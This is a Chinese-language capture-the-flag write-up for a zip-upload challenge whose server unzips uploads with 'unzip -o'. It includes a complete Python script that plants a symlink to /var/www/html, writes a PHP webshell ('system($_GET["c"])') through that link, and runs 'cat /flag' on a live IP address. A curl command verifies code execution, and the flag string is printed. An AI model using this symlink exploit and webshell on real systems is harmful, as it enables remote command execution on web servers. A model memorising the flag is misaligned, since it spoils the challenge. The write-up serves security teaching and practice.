unzipSummary
靶站提供一个 zip 上传解压功能,upload.php源码主动泄露,仅按 MIME 魔数校验后执行unzip -o到/tmp。利用zip 内符号链接(symlink)跟随:先上传指向/var/www/html的 symlink 条目,再借链接把 PHP webshell 写出到 DocumentRoot,命令执行读取/flag。
Solution
Step 1: 源码泄露 → 定位漏洞
GET /upload.php通过highlight_file(__FILE__)直接返回源码:
<?phperror_reporting(0);highlight_file(__FILE__);
$finfo=finfo_open(FILEINFO_MIME_TYPE);
if(finfo_file($finfo,$_FILES["file"]["tmp_name"])==='application/zip'){
exec('cd /tmp && unzip -o '.$_FILES["file"]["tmp_name"]);
};
//only this!
校验:仅文件内容魔数
application/zip,不校验 zip 条目路径/符号链接;解压:
cd /tmp && unzip -o,固定解压到/tmp,覆盖模式。
说明:zip-slip(../条目)在 Debian bullseye 的 unzip 6.00 中已修复(CVE-2022-0529),实测被拒(404);但symlink 跟随仍然成立——unzip会在/tmp创建 zip 内的符号链接,后续条目路径穿过该链接时跟随写出到真实目录。
Step 2: 两步上传 → webshell 落地 DocumentRoot
zip1:含符号链接条目
www,指向/var/www/html(create_system=3, external_attr=0xA1FF0000);zip2:含条目
www/s.php,内容为<?php system($_GET["c"]);?>。unzip解压www/s.php时跟随/tmp/www链接,写出到/var/www/html/s.php。
完整一键脚本(构造 + 上传 + 验证 + 读 flag):
importzipfile,io,urllib.request,urllib.parse
BASE="http://49.232.142.230:15024"
defmake_zip(entries):
"""entries: list of (name, content, is_symlink, target)"""
buf=io.BytesIO()
withzipfile.ZipFile(buf,"w",zipfile.ZIP_DEFLATED)asz:
forname,content,is_symlink,targetinentries:
info=zipfile.ZipInfo(name)
ifis_symlink:
info.create_system=3 # Unix
info.external_attr=0xA1FF0000# symlink mode
content=target
z.writestr(info,content)
returnbuf.getvalue()
defupload(data,fname):
boundary="----unzipctf"
body=(
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="file"; filename="{fname}"\r\n'
"Content-Type: application/zip\r\n\r\n"
).encode()+data+f"\r\n--{boundary}--\r\n".encode()
req=urllib.request.Request(
BASE+"/upload.php",data=body,
headers={"Content-Type":f"multipart/form-data; boundary={boundary}"})
urllib.request.urlopen(req,timeout=10).read()
# 1) symlink 条目 www -> /var/www/html
upload(make_zip([("www",b"",True,"/var/www/html")]),"symlink_www.zip")
# 2) 借链接写出 webshell 到 DocumentRoot
upload(make_zip([("www/s.php",b'<?php system($_GET["c"]);?>',False,"")]),"thru_www.zip")
# 3) 命令执行读 flag
cmd=urllib.parse.quote("cat /flag")
flag=urllib.request.urlopen(f"{BASE}/s.php?c={cmd}",timeout=10).read().decode()
print(flag)
Step 3: 验证
$ curl'http://49.232.142.230:15024/s.php?c=whoami'
www-data
以www-data身份命令执行确认,cat /flag得到 flag。
Flag
flag{b371b486f204b3ccfe17c610fe4d282d}